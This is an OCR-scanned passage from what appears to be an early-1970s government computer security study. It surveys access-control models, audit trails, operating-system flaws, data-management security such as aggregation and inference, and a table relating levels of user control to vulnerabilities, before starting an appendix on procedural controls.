criptor for a segment with ring bounds that permits free access as long as the element 
being transferred to is within the bounds but invokes special software whenever the 
bounds are exceeded in either direction. In general, the special software validates 
the address being referred to regardless of the direction of the reference. In this 
way, the mechanism protects a process from the operating system as much as the 
other way around. 

Vanderbilt[4] has created a model that extends that of Graham to include cases 
that arise when a user sharing an object authorizes others to use the process he 
creates. In his model, he introduces the notion of access privileges as a function of 
the activation level of the process, and in effect makes copies of the descriptor seg­
ment for each activation level encountered in order to provide the precise control 
needed. He distinguishes the problems that arise from direct access to a shared 
procedure, and adopts as part of the model the policy that direct sharing of procedures 
is only permitted for procedures authorized to the borrower by their owner, while 
only indirect sharing of procedures is permitted for those procedures owned by a 
third party and authorized and used by an owner in constructing a procedure that is 
(to be) shared with others. In the latter case, a borrower can only affect indirect 
access to procedures borrowed by the owner of a shared procedure. 

Models for Hierarchical Access Control 

The only available work that deals with this subject in a formal manner is that 
of Weissman[ 51. In it the author defines security objects (files, users, terminals, 
and jobs) and security properties associated with the objects. The properties are 
Authority (a hierarchical set of security jurisdictions - classification), Categories 
(a mutually exclusive set of security jurisdictions -a formalism of the need-to-know 
policy), and Franchise (clearance). 

The balance of the paper is devoted to developing a set-theoretic statement of 
the policy adopted in the ADEPT-50 system: 

a) 	 A user is granted access to the system only if he is a member of the set 
of users known to the system. 



b) 	 A user is granted access to a terminal, only if he is cleared to do so. 

c) 	 The clearance of a job is determined from the clearance of the terminal 
and the clearance of the user. 

d) 	 Access is granted to a file if the clearance and need-to-know properties 
of the file, and the user is authorized (cleared) to the job. 

The model treats all file accesses as events, and maintains a running determination of 
the classification and need-to-know level of the job based on events throughout its 
execution. This information, known as a high water mark, is most useful in deter­
mining the derived classification and need-to-know for new files created during job 
execution, and for labeling output. 

The only drawbacks with this model is that classification and need-to-know can 
change in only one direction - upward (to higher levels), depending on the files used 
in the application. Two relatively infrequent, but none the less important cases are 
not treated by the model -the case where individual data items are themselves not 
classified, or are a low level classification but when aggregated (collected into a 
file or report) may acquire a higher classification, and the case where a program 
transforms a classified file into an unclassified file (perhaps by extracting data known 
to be unclassified for a report). 

The latter case arises principally because the classification is applied to too 
large a unit (the file), and would disappear if fields could be individually classified. 
The former case cannot be handled within the framework of Weissman's model as it 
stands, since it is a value judgement as to when (or if) a particular aggregation 
requires a higher classification than the source material. This could be handled by 
providing the concept of security declarations in programs that would override the 
running classification and need-to-know property if specific conditions were en­
countered during execution of the job. The conditions might be of the form, 'If the 
number of records placed in temporary file Fl is greater than 100, advance the 
classification to the next-highest level', or in general IF <condition> THEN< statement 
of security labeling>. 

File encryption techniques are available that will provide virtually any degree of 
protection desired. High grade algorithms can be operated at a cost of 60 to lOOus 
per word enciphered or deciphered. Because of the problems with contemporary 
operating systems, key protection cannot be assured restricting the technique's 
principle value to media protection. In descriptor based systems, where key pro­
tection could be better assured, the technique could also be used to provide additional 
protection of files. The media protection problem solved by this technique should not 
be underestimated, since media 'contaminated' with classified material becomes 
difficult to dispose of. 
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Summary 

Really advanced file systems with arbitrary sharability are not common. A 
number of models for building such systems exist, but only limited experience has 
been gained with them. The bulk of file models are not designed with government 
security classifications in mind. File encryption, while feasible is still too costly in 
execution time for widespread use. 

SECURITY SURVEILLANCE AND AUDIT TRAILS 

As presently conceived, security audit trails are of little value in detecting un­
authorized activity, either because they do not contain sufficiently useful information, 
or worse because the data is not examined by security personnel. 

The entire concept of taking fixed content 'snapshots' of each user's activities is 
wrong primarily because it doesn't give enough of the right kind of information in 
cases of interest, while giving too much information in the bulk of the cases. 

The emphasis on an audit capability is a reflection of the desire to conduct 
security surveillance operations in a resource sharing system in order to detect 
breaches of security or penetration attempts. 

Unfortunately, the audit schemes developed around existing facilities (mostly 
accounting oriented) in contemporary systems are too inflexible to provide either 
surveillance or a damage assessment capability to systems security personnel. 

The audit capability is related to the instrumentation of a system. To date the 
emphasis on (hard or soft) instrumentation has been for system performance mea­
surement. While it can be seen that a security audit capability requires many of the 
same points of measurement, the security audit differs in what is recorded, and more 
importantly how it relates the measurement to the real world of users, terminals, 
communications lines, etc. Further, from a security audit viewpoint, while all 
possible measurements are not of interest all of the time, all possible measurements 
will be of interest (not all at once) at some time. Further, the systems must be 
capable of supporting a variety of security surveillance audits at different levels of 
detail simultaneously. For example, it must be possible to monitor (record) each 
direct and induced transaction on behalf of one or more specific users, while main­
taining a running record of the use of several of the communications links, while 
recording all transactions (by each user) against the files on a particular physical 
storage device, and to be able to vary the mix and focus easily on a day-to-day or 
shorter time basis. 

Yet be determined are the most promising way of relating a user, terminal , 
physical device, etc. to the measurement points, and how to vary as a function of the 
level of surveillance being maintained, what is recorded upon reaching a given 
(program) measuring point. While it seems reasonably clear that both hardware and 
programs can be provided measuring points at little cost, the best way (or even 



alternate ways) to achieve the desired security audit capability is not yet well 
understood. 

Summary 

Instrumentation (of software) is relatively new, but appears to offer no particular 
technological problems in the usual case. The ability to survey an aribtrary and 
changing mix of users, terminals, files, etc. in a fully instrumented system involves 
being able to relate representations of what is under surveillance to measuring points 
in a system. There do not appear to have been any efforts in this direction to date. 

OPERATING SYSTEMS AND SOFTWARE 

·It is in this area that the major problems of computer security arise. These 
problems are those related to 

a) 	 incorporating security requirements into software specifications, 

b) 	 the scope of the security problem (i.e. system-wide), 

c) 	 the primitive state of technology regarding 'proof' of correctness 
of programs, 

d) the lack of a definition of 'correctness' as it impacts computer security. 

The problem can be considered in various ways. Even with a collection of 
individually 'correct' programs, it may be possible to attack the system by exploiting 
design omissions or flaws. It is hypothesized that e?{ploitable penetration attacks on 
computer systems are possible because the operating system contains either of the 
implementation or design flaws listed below. 

a) 	 Placing or making available system state information in user's address 
space (the concept of user's address space must be expanded to include 
implied resources associated with a program such as job files, swap 
files, etc. ) 

b) 	 Providing too big an addressing context for 'normal' systems functions. 

Instances (from GCOS III) of the first item include the placement of a program's 
Slave Service Area (SSA) onto the checkpoint file with the program being checkpointed, 
using the slave prefix area for register storage from supervisory functions, placing a 
copy of the SSA on the *J file after peripheral allocation, and the use of buffer space 
from a slave program for catalog searching functions. 

The second item is a function of the hardware design, and is sometimes seenas 
incomplete address parameter validation. An instance from GCOS III involves the 
ability to move a User Status Table (UST) (the 'state' of a time-sharing user) to 
anyplace within the time-shared subsystem. 
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Even if the hypothesis is true, and avoiding the two classes of flaws described 
above is a sufficient condition to obtain a penetration-proof system, the statement of 
the condition is too ·broad, and is equal to saying 'don't make any mistakes. ' fu effect 
we are saying that we have no useful models of a penetration-proof operating system 
(environment) against which to measure proposed or actual implementations. 

Another aspect of this problem is that it is clear that only some parts of an 
operating environment need to be good (in some sense) to provide a penetration-proof 
system. To take an absurd example, no one would consider attacking a system by 
attempting to manipulate a sine routine, ora random number generator, or a sorting 
algorithm. However, the areas of an operating system that need to be protected are 
not cataloged and are not available for evaluation. 

In general, we are concerned with the problem of preventing a malicious user 
from seizing control of a system, or exploiting design or implementation flaws to 
gain unauthorized access to data. The capability models of Lampson[6], elaborated 
by Denning[7] appear to provide a basis for identifying principles upon which secure 
systems can be built. 

The structured programming techniques of Dijkstra appear to offer a good model 
for how systems should be constructed. Their principal value seems to be in being 
able to comprehend the result, something not easily done now. Even if the technique 
provides 'proof' of algorithm correctness, it does not appear to offer proof that a 
design is complete. 

Summary 

Lack of good ideals in the form of a non-implementation model hinder discussing 
the security aspects of software. A number of promising techniques for constructing 
programs about which assertions can be made exist, but to date have not been applied 
to the issue of computer security. First priority should go to a penetration-proof 
systems model. 

01 



REFERENCES 

1. 	 Friedman, T. D., The Authorization Problem in Shared Files, IBM Systems 
Journal (9), 4 pp. 258-280 (1970). 

2. 	 Denning, P. J. , Virtual Memory, Computing Surveys ~No. 3, 153-189 
(September 1970). 

3. 	 Grahm, R. M., Protection in Information Processing Utility, Communications 
of the ACM !b No. 5, 365-369 (May 1968). 

4. 	 Vanderbilt, D. H. , Controlled Information Sharing in a Computer Utility, 
MAC TR-67, Project MAC, Mass. Institute of Technology, Cambridge, 
Mass. , 24 October 1969. 

5. 	 Weissman, C., Security Controls in the ADEPT-50 Time-Sharing System, 
Proceedings 1969 FJCC, pp. 119-133. 

6. 	 Lampson, B. W. , Dynamic Protection Structures, Proceedings 1969 F JCC, 
p. 27. 

7. 	 Denning, P. J., Third Generation Computer Systems, Computing Surveys 
Vol. 3 No. 4, December 1971. 

82 




APPENDIX III 


SECURITY ASPECTS OF DATA MANAGEMENT SYSTEMS 


STUDY OF UNIQUE SECURITY ASPECTS 


Because data management systems (DMS) are important and distinct elements of 
most command and control systems, management systems, intelligence systems, and 
logistics systems, a study was made of those aspects of DMS that are unique in rela­
tion to other types of computer-based systems and which contribute to security prob­
lems. A DMS provides facilities for the management of data - i. e. , creation of a 
data base, update and maintenance, retrieval, and rearrangement of retrieved data ­
usually for data that is shared by several applications and users. The unique security 
aspects of DMS arise from the sharing of data by several users with different access 
authorizations (clearances, need to know, etc. ) and from the large number of data 
elements that may be stored in a DMS (millions and possibly billions). Four major 
aspects of DMS which impact security are discussed in the following paragraphs. 

DATA IDENTIFICATION 

Control of access to data in a data base is dependent on identification of the data 
accessed and the security sensitivity of that data. Identification of data in an access 
request can be categorized in the following ways which are pertinent to access control: 

• 	 logical identification of the data accessed with respect to the data structure 
of the data base, 

• 	 physical identification of the storage location of the data accessed, 

• 	 direct identification of the data accessed or of its storage location, 

• 	 relative identification of the data with respect to some other data in the 
data base, such as the data accessed in the immediately preceding request. 

An example of logical direct identification is "the length of the runways at air ­
field Norton". In this expression, "airfield" identifies a file of data concerning air ­
fields; "Norton" identifies a record in the file airfield which contains data on the 
airfield at Norton Air Force Base; "runways" identifies a group within record Norton 
that contains data on the runways at Norton airfield; "length" identifies the numerical 
values of the runways. This example shows the naming of individual elements in a 
data structure and their aggregation into structural elements (file, record, group, 
etc.). Another example of logical direct identification is "data element 37 in data 
list 15". 

Examples of physical direct identification are "the data in storage locations 3123 
to 3146" and "physical record 12". 



An example of logical relative identification as "the third data element in the data 
list following the element previously accessed". 

Examples of physical relative identification are "the data element which is located 
15 storage address units from the data element previously accessed" and "backspace 
24 storage address units from the data element previously accessed". 

It is readily apparent that relative identification creates problems for access con­
trol. If a DMS user accesses first a structual element (aggregation of data elements) 
which he is authorized to access, he could then specify by relative identification a 
structural element to which he is not authorized access. 

For access control, each named structural element in a data base may be assigned 
a sensitivity parameter which specifies the access rule that is applied to control access 
to that structural element. Then when a structural element is referenced in a program 
the sensitivity parameter may be examined and the access rule specified by the para~ 
meter value for that element can be applied before the data in the structural element 
is made available to the program. A complication arises when the structural element 
name identifies a function or a relation - i. e. , a rule by which the members of one set 
(or several sets) are assigned to members of another set -rather than a specific 
aggregation of data elements. Then the sensitivity (specification of the pertinent access 
rule) must be dependent not only on the name of the function (or relation) but also on the 
names of the data elements (or sets or subsets) to which the rule is to be applied. 

In some cases, a security sensitivity may be associated with a device rather than 
data; e. g., data having a particular sensitivity may be stored only in a specified area 
of storage and data of other sensitivities may be stored elsewhere. 

DATA DIFFERENTIATION 

Within a DMS, data may be differentiated on several bases, which may affect the 
access control rules that apply to it: 

• 	 Agent - i. e. , whether the data can be accessed directly by people, by a 
process, by a network node, or by some specified combination of them. 

• 	 Form - i. e. , whether the data has the format of particular strings of 
characters - e. g., binary string, decimal floating point numeral, alpha­
numeric string, text, fixed length records, etc. 

• 	 Media - i.e., whether the data is stored on-line in core, disk unit, tape 
unit, etc. or off-line in cards, paper tape, disk pack, tape reel, image 
media, etc. 

• 	 Context - i. e. , the denotation of the data and hence its sensitivity may be 
dependent on the context in which it is used (the process invoked to use it), 

• 	 Capabilities and permissions relating to its use - i.e., whether it can be 
read, written, or executed or whether the user can use the data only or 
whether he can create it, update it, replace it, or delegate access to it. 



PROCESS DIFFERENTIATION 

Access control may be affected by the processes involved in the DMS. They are 
discussed in the following paragraphs from three points of view. 

Complexity 

A DMS may have a simple structure -e. g., a single file or fixed length records ­
or a complex structure - e. g. , multiple files with correlations both within files and 
between files. The more complex the structure the more difficult is access control. 
The more different kinds of structural elements there are in a DMS the more difficult 
it is to assure that access to all of them is controlled. 

The amount of data stored in a data base under control of a DMS may be very 
large. Some data bases in active use have hundreds of millions of data elements 
(billions of characters) and data bases of billions of data elements may be expected 
in the near future. With such a large number of data elements, it is difficult to as­
sure that the correct sensitivity has been assigned to each one; in fact, it may be 
nearly impossible to verify that the correct sensitivities have been assigned in such 
large data bases. 

A large data base having a large number of users with differing access authori­
zations will have a substantial number of different access rules. This creates a 
complex situation with possibilities for error. The access rules must be verified to 
be correct and their assignment to structural elements must also be verified. 

DMS - Human Interface 

The 	interface between the user and the DMS can be classified into two types: 

• 	 Open - host language preprocessor. The user accesses the data base 
through a program written in a conventional programming language 
(host language) such as COBOL, FORTRAN, or JOVIAL. 

• 	 Closed -interpretive query language. The user accesses the data base 
only through a query language that is interpretively executed. 

Examples of open-host language DMS are IMS, IDS, and DM-1. They have been 
designed to establish and maintain a data base so that it is accessible by batch pro­
grams. The DMS provides a data language which is used as an extension to the host 
language in the application program, which is compiled before execution. The user 
has at his disposal all the facilities of the host language and the data language, which 
he can use to try to break the access control of the system. 

Examples of query language DMS are GIM and TDMS. In such systems, the user 
can access the data base only through the query language of the DMS, which has 
limited expressive power and is interpretively executed. Thus the queries are all 
under control of the system and their processing can be integrated with the access 



coritrol mechanism. A problem arises in that in the evolution of such systems pres­
sure arises from users and potential customers to extend the capabilities of the sys­
tem, such as, e. g., to add the capability to access the system from host language 
programs. A version of GllVI has such an added capability. 

DMS - OS futerface 

A DMS may manage the machine resources it uses directly or it may manage 
them indirectly making use of the file management facilities of the operating system. 
fu the first case, the access control is effected entirely within the DMS; in the second, 
access control may be divided between the DMS and the operating system. 

Most operating systems provide facilities for the management of files; e. g. , 
OS 360 provides various "access methods", such as JSAM, BTAM, etc., and EXEC 8 
provides a Fastrand handler, symbionts, and utilities that manage the creation, 
maintenance, and use of "element files". 

IBM's CP-67 provides an environment in which each user is assigned a virtual 
machine. Within his virtual machine, a user can deal directly with his virtual 
machine resources but he cannot use any resources outside of his virtual machine. 
The operating system interprets virtual resources into real resources and keeps 
users separate. fu such a system, a DMS would function as though it were on a 
dedicated computer. IBM's recent announcement of the 370 virtual memory intro­
duces machines in which program references to virtual storage are interpreted by a 
dynamic address translation facility. 

The MULTICS system provides an environment in which the user interacts with 
an abstract machine in which all storage is treated homogeneously. Stored informa­
tion is compartmentalized into "segments". A user accesses data by naming the 
segment and the address of the data within the segment. Each segment has a set of 
access attributes that specify the way in which a user is permitted to reference the 
data in the segment. 

DATA AGGREGATION AND INFERENCE 

Control of access to individual data elements and structural elements is not suf­
ficient to ensure security of a data base, for there are things which a user can do 
within his area of authorization that can generate sensitive information. These pos­
sibilities are discussed in the following two sections. 

Data Aggregation 

Individual data elements which are not by themselves sensitive may, in some 
cases, be aggregated from security sensitive information; e. g. , data on individual 
combat units which is not classified and which is used extensively by personnel con­
cerned with those units can be aggregated to form an order of battle. Statistical 
sampling is a well-known technique of providing discrete elements that are unclass­
ified from a sensitive collection. It, too, is vulnerable to the aggregation of samples. 
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Adequate protection against improper data aggregation is difficult to achieve. 
Good techniques have not yet been worked out. They probably will involve identifying 
the data sets, which when aggregated become sensitive and limiting the aggregation that 
can be performed on them. 

Another type of aggregation which can cause trouble by denying use of the data 
processing facility is called "data cancer". It involves inserting a program element 
that continually generates new data elements until the data processing system re­
sources are saturated, with little or no resources available for legitimate users. A 
variant of this involves a program element that "puffs" itself up to fill system re­
sources and after interfering with system use for a long enough time to cause trouble 
but not long enough to be correctly diagnosed, collapses and lies dormant for a while 
before beginning the process over again. 

Inference 

In some cases, certain functions of the aggregation of sensitive elements are not 
sensitive; e. g., the salaries of individual members of a group may be sensitive but 
the total salary of the group or the average salary may not. A problem arises when 
several of these non-sensitive functions can be combined to produce one or more 
sensitive elements; e. g. , in the salary case, the total salary of a group of 10 people 
may not be sensitive and the total salary of a group of 11 people that includes the 
previous 10 may by non-sensitive, but the difference of these two is the salary of an 
individual, which is sensitive. 

Other more elaborate statistical techniques may be employed to derive sensitive 
elements from unclassified aggregates. 

ACCESS CONTROL 

Security of a data base is dependent on control of the access of each user to the 
data elements and aggregates that he is authorized to use. It involves the coordina­
tion of several elements: 

• 	 user identification 

• 	 user profile - clearance, need to know, etc. 

• 	 input device - certain data may be accessed only from certain input devices; 
e. g., the list of password assignments may be accessed only from the 
security manager's terminal 

• 	 output device - certain data may be outputted only on certain output 

devices 


• 	 access privilege -read only, update, execute, append, private, unrestricted 

• 	 process - the process in which the data accessed is to be used; e. g. , internal 
calculation only, · direct output, remote transmission, etc. 

• 	 sensitivity - the sensitivity of the data accessed 



Effective coordination of these seven elements can be accomplished in the fol­
lowing way. Each data element and structural element is assigned a sensitivity para­
meter value - e. g. , a number or codeword - which is stored with it. Each value of 
the sensitivity parameter denotes an access rule which is a function of the six other 
elements. (Some access rules may depend on fewer than six; e. g. , the access rule 
may be independent of the input and output devices). At each reference to a data 
element (or structural element) the value of its sensitivity parameter is checked and 
the access rule it denotes is applied. In some situations, access rules involving 
other elements may be needed; e. g., access may be limited by time-of-day. 

The security sensitivity parameter may be stored with each data element, or the 
physical structure of the DMS can be designed so that all data elements having the 
same sensitivity are stored together in the same physical file. In that case, an imple­
mentation of the DMS will have at least as many physical files as there are security 
sensitivity parameter values. Then access control can be handled exclusively by the 
operating system, whereas in the first case at least a portion must be handled by 
the DMS. 
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APPEND1X IV 

SECURITY VULNERABILITY AS A FUNCTION OF 
USER CONTROL OF SHARED RESOURCES 

USER ISOLATION IN A SHARED RESOURCE ENVIRONMENT 


It has been advanced as a working hypothesis that a "security perfect" computer 
system is vulnerable only to physical threats. In the real world of imperfect 
in_struments, vulnerability is extended to include errors in design, implementation, 
operation and maintenance, and design and fabrication incompleteness to handle 
actual operational loads. It is then axiomatic that the more complex the 
operational system: 

1. 	 the greater the probability of error, 

2. 	 the greater the resources available to the interloper to probe the system for 
weakness, and 

3. 	 the increased sharing of resources increases the potential security 
exposure of the common user community to discovered system flaws. 

Thus, if we can build better "firewalls" between users we can limit the extent 
of security compromise in multi-user, multi-level systems. 

This appendix tries to increase our understanding of security failure modes and 
possible design strategies that offer promise of ammeliorating the security 
vulnerability of failure. The thesis advanced here is that better isolation of shared 
resources offers the best, and possibly only, solution. 

We lmow from experience that software systems operating interpretively offer 
greater security than open-ended systems for just such reasons of restricted capability 
and isolation. As an example, this concept is the design base for the ffiM operating 
system CP-67 that interpretively allows users access to "virtual machines" simul­
taneously sharing resources of a real computer. CP-67 is just one current model 
of such systems and it requires virtual memory hardware and software techniques 
not common in most operating systems. Alternative approaches are possible, even 
in current operating systems, by use of software interpreters. The tradeoff between 
the level of user capability and system vulnerability achievable is summarized in 
Figure IV-1. 

VULNERABILITY INCREASE WITH INCREASED USER CONTROL 

User control over the real hardware resources ranges from the user just 
watching a computer display, to total control of hardware where physical wiring can 
be modified. Figure IV~l discusses these levels of control in terms of the resources 
shared, the direct vulnerability (1st level), and the security payoff to the interloper. 



1ST LEVEL
USER CONTROL SHARED RESOURCE 	 PAYOFF

VULNERABILITY 

1. 	Just Watch Display Surface • Malfunction/BUG/ • Gain (Random) 
Residue Access 

• Destruction/Jam 	 • Deny (Random) 
• Sophisticated Jam • Falsify (Random) 

2. Initiate Program 
(1 +Limited Push Buttons) 

•{OS }
Appl. Prog. 

CPU • Insufficient Legality 
Check 

• Gain (Directed) 

Manual Probes e Data STORE • Illegal Sequencing • Gain (Random) 
• Crash System eDe~y 

3. 	Transaction Only • Time (Response Feedback) • Logic Path Complexity • Gain 
(2 +Enter Parameters) • Deny 
Machine-Aided Probes • Increased I/O Bandwidth • Data Aggregation • Falsify 

r;J 
::> 

4. Interpretive Code 
(3 +Code Sequences) 

• Limited Psuedo-Machine 
(Interpreter) 

• Higher Order Complexity 
• STORE Overload 

• Gain, Deny, Falsify 

Machine-Generated Probes (Data Cancer) • Deny 
• CPU Overload 

(Program Loop) 

5. Compiled Code • Limited Real-Machine • Break into Machine • Gain, Deny, Falsify 
(Compiler) Code (see 6) 

6. Machine Code 	 • Near-Total System Control • Violate Software (OS) • Gain, Deny, Falsify 
• Real Addresses 	 Integrity 
• Real Op Codes 	 • Incomplete System Design 

7. Machine Code • Total System Control · • No System Checks & • Gain, Deny, Falsify 
(Monitor State) Balances 

• Modify Software (OS) 
Integrity 

8. Hardware 	 • Total System Control • Modify System Integrity • Gain, Deny, Falsify 

Figure IV-1. Increasing Security Vulnerability With Cumulative User Resource Control 



User Control Levels 

We conceive of these levels as consumer/resource transactions, i.e., a given 
level offers a set of resource capabilities that the user-consumer may invoke with 
commands, control language, or instruction dialogs. The closer the level gets to the 
physical machine, the more the dialog takes on the characteristics of a programming 
or machine language. Thus, we abstractly speak of the resource presented to the 
user at a given level as a "pseudo machine," and view the consumer/resource levels 
as a hierarchy of pseudo machines, each more closely approaching the real machine 
hardware. In actual implementation, a pseudo machine is a software interpreter 
that executes the user command instructions defined for that machine. Transaction 
systems for ticket or airline reservations are typical examples. Security is 
enhanced since the pseudo machine can be designed and implemented to 
perform any degree of checking and auditing of transaction requests (pseudo machine 
instructions) . 

Types of Shared Resources 

Nearly all the real machine resources come into play indirectly even with the 
simplest user control options; however, this discussion focuses on the immediate 
resources the user can directly control, and which he shares with other users. 
These include I/O devices, Control Processing Units (CPU), and the system 
software-- Operating System (OS), Interpreters, Compilers, Data Management 
Systems (DMS) , data files, and Applications Packages. We also consider "time" 
a shared resource for systems which feature responsiveness (scheduling, and real­
time), feedback, and simultaneous access. 

Threats and Vulnerabilities 

For each level of user control, we examine the nature of the security 
vulnerability presented by the resources shared. For the very restricted user 
control levels, the vulnerabilities are "p~ssive threats" resulting from accidental 
failure, or "active threats" on the physical environment such as destroying or 
debugging terminals . As the user's control over more resources increases, the 
active threats increase, enabling the user to probe for system weaknesses among 
the increasingly complex logic paths of the pseudo machine with which he is 
presented. 

Security Exposure and Vulnerability Payoff 

Unlike the commercial world where stealing CPU processing time, or use of 
proprietary products are major vulnerabilities, the military problem of security 
exposure to system vulnerabilities is essentially tied to the unauthorized "inter­
ference" with information communication to authorized users. This interference 
may take one of three general forms: 

1) gain of information by an unauthorized user, 

01 



2) denial of information to an authorized user (e.g., crash computer system) 

3) falsification of information to authorized users. 

As the level of user control increases, the nature of the vulnerability payoff 
changes from random interference to more directed attacks to achieve specific 
objectives. This is not surprising as the user has more computer capability to 
assist in the probe. 

DESCRIPTIONS OF USER CONTROL "PSEUDO MACHINES" 

A "minimum model" of a secure computing system focuses attention on the causes 
of insecurity. The following is a minimum (useful) model: 

1) Monoprogramming on a common set of hardware, 

2) No cooperation (or presumed knowledge) between the programs, and 

3) Limited shared resources; i.e., CPU, Main Memory, and OS. 

This model is vulnerable to a number of threats: 

1) Physical damage 

2) Scavenging by passive browsing and residue pickup 

3) Bugging the OS to do unauthorized spying or falsification. 

Extending the model to include shared secondary storage (disc, drum, tape) and 
more sophisticated input/output capability (e.g., interactive teleprocessing) brings it 
to a level of practical usefulness and sets the stage for consideration of the eight 
levels of control summarized in Figure IV-1. 

Just Watch 

In this situation, the user can just watch a display of computer output, either a 
line printer or a display console. He cannot initiate any action; he cannot push a 
button. The on!; resource to which he has access is the display unit. 

The most obvious vulnerability is that of an equipment malfunction or a software 
error that could cause information to be displayed to the user for which he is not 
authorized access. 

other vulnerability possibilities are that the user might, unnoticed, attach a 
"bug" or electronic sensing and transmitting device that would transmit the informa­
tion being displayed at a later time. More sophisticated devices might also perform 
selective jamming of the display device, thus denying its use. Even more sophisticated 
but possible is a device which senses and transmits to an off-site computer the infor­
mation being displayed. The computer processes this information in real time as it 
is received and sends false information to the device which causes that false informa­
tion to be displayed. 
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A final vulnerability would be the possibility the user would leave a time bomb, 
which at some later time would destroy the display unit. 

Initiate Programs 

In this mode of user control, the user can initiate a program by pushing a button, 
but he cannot enter data. He has a limited number of programs to which he is allowed 
access. Since the programs which he can initiate may use any component of the 
computer, he has access to the entire computer system, except those programs to 
which he is denied access. 

All the vulnerabilities of the "just-watch-mode" also apply to this mode. 

New vulnerabilities arise from the possibility of inadequate access checking, 
which would then give him access to programs to which he is not authorized. Another 
vulnerability is that certain sequences of activation of the programs to which he is 
allowed access could leave certain computer registers in a state that would open a 
trap door to programs which he is not authorized access. Alternatively, some 
sequence could cause a system "crash", denying the system to other users. 

Transaction Oriented 

In this mode, the user is allowed to enter data as well as initiate a program; 
i. e. , he may make ''transactions. '' He may enter data, receive a response, and then 
based on that response may enter new data. With this "feedback" capability, he can 
engage in machine-aided sampling. In addition to feedback, the new resource that he 
has is the complexity of the data - the l~rge number of data possibilities and the 
complexity of the data structure. 

All the vulnerabilities of the "just-watch-mode" and the "initiate-program-mode" 
are present in this mode too. 

A new vulnerability is that the complexity of the logic paths which the user can 
select or generate make it difficult to assure that one of them does not lead to a 
"trap door. " A second vulnerability is that the aggregation of data to which the user 
is allowed access can lead to information to which he is not authorized. 

Interpretive Code 

At this level of control, the user can generate arbitrary code sequences for the 
psuedo-machine provided by the application interpreter, e.g. , an interpreter for 
desk calculations or printing reports. This increased capability can be used to write 
code sequences that generate system probes to automate; and hence amplify the user's 
ability to try greater numbers and more complex thrusts at uncovering sy~tem weak­
nesses. In the least case he can deny authorized use by overload and saturation of 
shared memory and CPU services. 



Compiled Code 

The user at this level is closer to the real computer because he controls the 
machine via a sequence of real-machine instructions generated for him by the 
compiler. Legality checking of program "intent" is greatly reduced over interpretive 
controls of earlier control levels. Therefore, the user program may be able to 
break-out of high order languages (HOL) to directly attempt to exercise all hardware 
options as if user had direct machine code. 

Machine Code (User State) 

Most real machines restrict a portion of their machine instructions exclusively 
for the software monitor. User applications programs use the restricted instruction 
set and run under hardware control--User State--that traps illegal privilege instruc­
tion execution. However, the machine code user has nearly total system control 
because he can use and generate real op-codes and real hardware addresses. He can 
mount a major penetration attempt to violate the software monitor's integrity by 
exploiting incomplete system design--particularly the low level hardware/software 
interfaces. 

Machine Code (Monitor State) 

Monitor software is entirely defenseless against direct (deliberate or accidental) 
modification by itself or other monitor-state software, unlike the other levels which 
have both hardware and software support. The monitor software is most sensitive and 
complex portion of the system, so even minor modification can expose the system to 
major security compromise. 

Hardware 

As with level 7, this level permits users to modify the total system configuration 
of hardware and software. 
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APPEND:IX V 


PROCEDURE CONTROLS 


INTRODUCTION 


In contemporary computer systems, the effective use of procedures is critical to 
the implementation of any protection strategy. While significant advancements can be 
anticipated in providing more security control at the primitive level of system opera­
tions, the need for human controls and complementing internal procedures will persist. 

For purposes of this discussion, a procedure is defined as an ordered means for 
controlling system operations. Associated with each procedure is a CUE (i.e. , the 
stimulus which invokes the procedure), a DECISION (i.e., the process of solving a 
problem and determining an appropriate course of action), an ACTION (i.e. , the 
exercise of control) and an EFFECT (i.e. , the results of the action on the operation 
affected). This definition pertains to both the concept of procedure as human activity 
at the man-machine interface and the concept of procedure as a hardware/software 
convention. 

PROBLEMS 

Several problems can be identified with the use of procedures on current systems. 

• 	 The set of procedures employed is often not comprehensive, leaving pockets 
of uncontrolled system activity. A special case of this problem can occur 
when a system undergoes continuous change in terms of services to the user 
(e.g., adding new programming capabilities). If the control substructure 
remains constant, this succession of changes can uncover or create areas of 
vulnerability. 

• 	 Some procedures do not adequately control the object operation. Closely 
related is the problem of implementing the right solution for the wrong 
problem by being cued by some second-order effect of the real problem. 

• 	 Some procedures can be bypassed with impunity. Whether intentional or 
unintentional, people who effect procedures can often make leaps in 
executing a string of procedures, or they can ignore the procedure altogether. 

• 	 Procedures often have overlapping functions and jurisdictions, resulting in 
conflicts and confusion which neutralize or degrade the desired control. This 
is especially true at organizational interfaces where external procedures 
tend to be concentrated. 

• 	 The employment of procedures often creates problems of its own, thereby 
supplanting one problem (set) with another. 



While specific cases of these problems tend to arise from subtle and complex 
sources, one can cite four generic source-factors which directly or indirectly con­
tribute to most. 

1. 	 Procedures are adopted from a variety of authorities and for diverse and 
potentially inconsistent reasons. Some are required by formal policy or 
authority (often the "same policy or authority established for manual infor­
mation systems) and are implemented directly without being tailored for the 
particular context of the object system. Some procedures are adopted to 
fill gaps left by incomplete design and implementation of the system. Some 
are adopted to effect a management style which is intended to bring about 
smoother operations. Finally, some procedures are adopted to provide 
controls over controls. Each of these reasons may have validity for a 
given set of conditions, but unless it is implemented in the total context of 
the system, it can lead to many of the problems noted above. 

2. 	 Procedures are often omitted as a basic and integral design consideration. 
When they are considered in the design phase, they are often included as 
the "slack" variables and are consequently unstructured and underdeveloped. 
On the other extreme is the case of a formally required procedure which is 
often included as an immutable design element or constraint. 

3. 	 Procedures are often used to patch the system as an expedient measure. 
They are adopted under the "squeaky-wheel" principle, which says that a 
procedure is adopted only in response to a compelling problem and is 
implemented to solve only that problem. The cumulative effect of such 
implementations eventually imposes severe burdens on people and system 
overhead and can lead to subsequent implementations (or reimplementations) 
by least-cost methods which tend to be less effective. 

4. 	 Procedures are often built on inadequate technical foundations. Building a 
secure file access system into a data management system can be a futile 
exercise if the operating system allows a penetrator to gain control of the 
system. 

PROCEDURAL AREAS 

In confronting these problems, there is need to establish the system environ­
ments, by structure and function, in which procedures are applicable. The following 
(nonexhaustive) enumeration may serve as a point of departure. 

• 	 COMPUTER OPERATING PROCEDURES 

a. 	 Console Operator Procedures 

(l) 	 Start-up and shut-down 

(2) 	 Normal operations (e.g. access controls, work flow regulation, 
etc.) 

(3) 	 Recovery and restart 



(4) Accounting functions 

(5) Mode changes and conversions 

b. Software Maintenance 

(1) Update 

(2) Trouble shooting 

c. System Development 

(1) Testing and debugging 

(2) System integration 

d. Hardware Maintenance 

(1) Installation and changes of equipment 

(2) Trouble shooting 

e. Media Handling 

(1) Library media 

(2) Scratch media 

(3) Back-up media 

(4) Sanitization and degaussing 

f. Input Controls 

g. Output controls 

(1) Labeling 

